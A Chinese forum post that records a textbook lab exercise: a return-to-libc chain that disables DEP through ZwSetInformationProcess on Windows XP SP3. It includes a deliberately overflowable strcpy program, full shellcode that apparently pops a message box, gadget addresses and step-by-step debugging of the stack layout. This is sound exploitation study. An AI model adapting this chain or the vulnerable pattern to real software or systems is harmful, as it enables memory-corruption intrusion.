Ret2Libc实战之利用ZwSetInformationProcess
本实验是按照0day第十二章(数据与程序的分水岭:DEP)做的,实验过程基本一致,写下来当作笔记。不足之处还望各位指正!
这个实验是通过ZwSetInformationProcess
来关闭进程的DEP从而实现在执行布置在stack
上的shellcode
。
实验环境如下:
windows XP sp3 + VC++6.0(生成release版本,并且禁止优化!!!)
当然此实验是在开启系统的DEP下做的,不然直接用shellcode的起始地址覆盖函数的返回地址就可以达到执行shellcode的效果。
ZwSetInformationProcess()
函数的参数如下:
按照书上的做法,各个参数的值设置为:
实验源代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6f\x4f\x77\x6c\x68\x48\x65\x6c\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //override the EBP
"\xfc\xdf\x80\x7c" // the address of (MOV 1, EAX, RET)
"\xff\x38\xf2\x77" // the address of (PUSH ESP, POP EBP, RET 4)
"\x68\xff\x87\x7c" // the address of (RETN 0x20)
"\x4c\x3c\xd0\x7d" // the address of (JMP ESP)
"\x24\xcd\x93\x7c" // the address of close DEP
"\xe9\x33\xff\xff" // JMP &shellcode
"\xff\xff\xff\xff"
;
void test()
{
char tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
实验的大致思路是通过对栈帧合理布局,使程序在执行完test()
函数时去执行关闭DEP的指令,然后就可以跳到shellcode
的起始地址执行shellcode
了。执行结果:
调试过程:
首先将弹出对话框的shellcode
填充为176
字节,然后用OD打开,使用插件查找MOV EAX, 1
的地址,这里选择0X7C80DFFC
来覆盖test()
函数的返回地址。
重新布置shellcode:
shellcode [] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6f\x4f\x77\x6c\x68\x48\x65\x6c\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //override the EBP\
"\xfc\xdf\x80\x7c" // the address of (MOV EAX 1, RET)
"\x24\xcd\x93\x7c" // the address of close DEP
;
重新编译后调试,可以发现test()
函数会返回到MOV EAX, 1 RET
,继续单步运行,执行完MOV EAX
后会跳到关闭DEP
的代码处。继续运行会出现access violation when writing to [9090908C],这是因为shellcode
直接用0X90909090
将EBP
给覆盖了,EBP-4=0X9090908C
,这个地址是不能写的,所以执行到MOV DWORD PTR SS:[EBP-4],ESI
时会报错。
接下来要在执行关闭DEP
的代码之前要把EBP-4
地址处修改为一个可以进行写操作的地址。可以使用PUSH ESP, POP EBP, RETN
指令来修改EBP
并且修改完后还能回收控制权。这条指令序列可以使用OllyFindAddr插件来查找,查找结果中的step3。这里选择的地址为:0X77F238FF
再次重新布置shellcode:
shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6f\x4f\x77\x6c\x68\x48\x65\x6c\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //override the EBP
"\xfc\xdf\x80\x7c" // the address of (MOV 1, EAX, RET)
"\xff\x38\xf2\x77" // the address of (PUSH ESP, POP EBP, RET 4)
"\x24\xcd\x93\x7c" // the address of close DEP
;
重新编译后用OD打开调试,在test()
函数返回处的汇编代码RETN 4
处设置一个断点,F9运行到端点处后使用单步运行,当执行到关闭DEP
的代码后返回的地方停下。观察此时寄存器的状态,当执行RETN 4
的时候程序会从ESP(0X13FEBC)
处取指令执行,但是这个地址存放的是0X00000004
,也就是ZwSetInformationProcess()
函数的第四个参数,也就是说在执行关闭DEP
的代码的时候进行了PUSH
操作,虽然成功关闭了进程的DEP
但是已经失去了对程序的控制。
这里可以看到在关闭DEP
后程序会到EBP+8
处取指令执行,如果我在EBP+8
处存放跳到shellcode
操作的地址,那么在关闭DEP
后就可以JMP
到shellcode
执行。问题来了,怎么保证关闭DEP
时进行PUSH
操作而不破坏EBP+8
处的内容呢?可以通过抬高ESP
来确保EBP+8
处的内容不被破坏。既能抬高ESP
又能保证不失去对程序的控制权的首选指令就是RETN N
了,依然使用OllyFindAddr插件来查找RETN N
的指令,为了确保在进行PUSH
操作的时候不破坏EBP+8
,可以将N
选为0X20
。在查找的结果中随便选取一个地址,这里选择的地址为0X7C87FF68
最后重新布置shellcode:
shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6f\x4f\x77\x6c\x68\x48\x65\x6c\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //override the EBP
"\xfc\xdf\x80\x7c" // the address of (MOV 1, EAX, RET)
"\xff\x38\xf2\x77" // the address of (PUSH ESP, POP EBP, RET 4)
"\x68\xff\x87\x7c" // the address of (RETN 0x20)
"\x4c\x3c\xd0\x7d" // the address of (JMP ESP)
"\x24\xcd\x93\x7c" // the address of close DEP
"\xe9\x33\xff\xff"
"\xff\xff\xff\xff"
;
``
这次在
EBP+8处存放的是
JMP ESP的地址而不是直接跳转到
shellcode起始地址这个操作指令的机器码,原因有两个,第一这个地方存放的是一个返回地址,而不应该存放具体的指令。第二,以为这个地址比
shellcode的地址大,所以跳转到
shellcode这个操作的跳转的值为负,四个字节存放不下。而在这个地址取到指令后ESP正好指向
EBP+0X10处,所以在此处放置
JMP ESP指令的地址,在执行
JMP ESP后
EIP会指向
EBP+0X10处,在
EBP+0X10放置跳转到
shellcode起始地址的指令即可成功跳转到
shellcode`执行。
执行结果如下:
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2019-3-15 18:53
被kanxue编辑
,原因: